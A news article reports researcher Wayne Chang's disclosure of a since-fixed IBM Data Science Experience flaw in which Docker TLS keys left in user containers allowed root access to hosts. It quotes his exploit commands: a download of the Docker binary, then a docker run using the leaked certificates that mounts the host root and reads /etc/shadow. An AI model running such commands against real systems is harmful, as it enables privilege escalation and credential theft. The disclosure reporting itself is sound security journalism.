Big Blue's big blunder: IBM accidentally hands over root access to its data science servers

IBM left private keys to the Docker host environment in its Data Science Experience service inside freely available containers.

This potentially granted the cloud service's users root access to the underlying container-hosting machines – and potentially to other machines in Big Blue's Spark computing cluster. Effectively, Big Blue handed its cloud users the secrets needed to potentially commandeer and control its service's computers.

Technology consultant Wayne Chang identified the privilege escalation flaw following an IBM event touting the data science technology on January 31, and reported it to Big Blue the following day.

Two weeks later on February 15 – an unusually short time in the world of vulnerability disclosures – IBM corrected the cock-up, we're told.

In a blog post on Tuesday, Chang said he identified the flaw after signing up for a free demo to try the service out.

"It was a misconfiguration vulnerability with very severe consequences," Chang wrote. "In short, they left all the Docker TLS keys in the container, which is the same as leaving a jail cell's key inside the jail cell."

The Docker TLS keys are used to secure the Docker Swarm host API.

From the RStudio Web Environment that IBM provides, Chang said exploiting the vulnerability was simply a matter of downloading and extracting Docker...

system("wget https://test.docker.com/builds/Linux/x86_64/docker-1.13.1-rc1.tgz")
system("tar -xvzf docker*.tgz")

...and then using the Docker binary in conjunction with its certificates to obtain what amounts to root access to the host using volume mounts:

system("DOCKER_API_VERSION=1.22 ./docker/docker -H 172.17.0.1 \
       --tlscacert /certs/ca.pem --tlscert /certs/cert.pem \
       --tlskey /certs/key.pem \
       run -v /:/host debian cat /host/etc/shadow")

Had the flaw been exploited, IBM customer data could have been at risk.

Chang has recommended that IBM implement a number of improvements to its security architecture. He has also suggested that IBM re-image all affected machines, in case someone identified this flaw earlier and installed rootkits or other malware.

IBM did not immediately respond to a request for comment.

In an email to The Register, Chang said he's convinced that Docker and containers can be implemented securely and reliability and that these technologies have the potential to enhance security. But he chided IBM for failing to catch the flaw.

"I think that IBM already has some amazing infosec people and a genuine commitment to protecting their services, and it's a matter of instilling security culture and processes across their entire organization," Chang observed. "That said, any company that has products allowing users to run untrusted code should think long and hard about their system architecture."

Chang said that in the race to build new technologies, security is often an afterthought.

"This is not to imply that containers were poorly designed (because I don't think they were), but more that they're so new that best practices in their use are still being actively developed," Chang said.

"Compare a newer-model table saw to one decades old: The new one comes stock with an abundance of safety features including emergency stopping, a riving knife, push sticks, etc, as a result of evolving culture and standards through time and understanding."

Coincidentally, the recent introduction of Docker Datacenter includes some improvements in how secrets can be managed in conjunction with containers. ®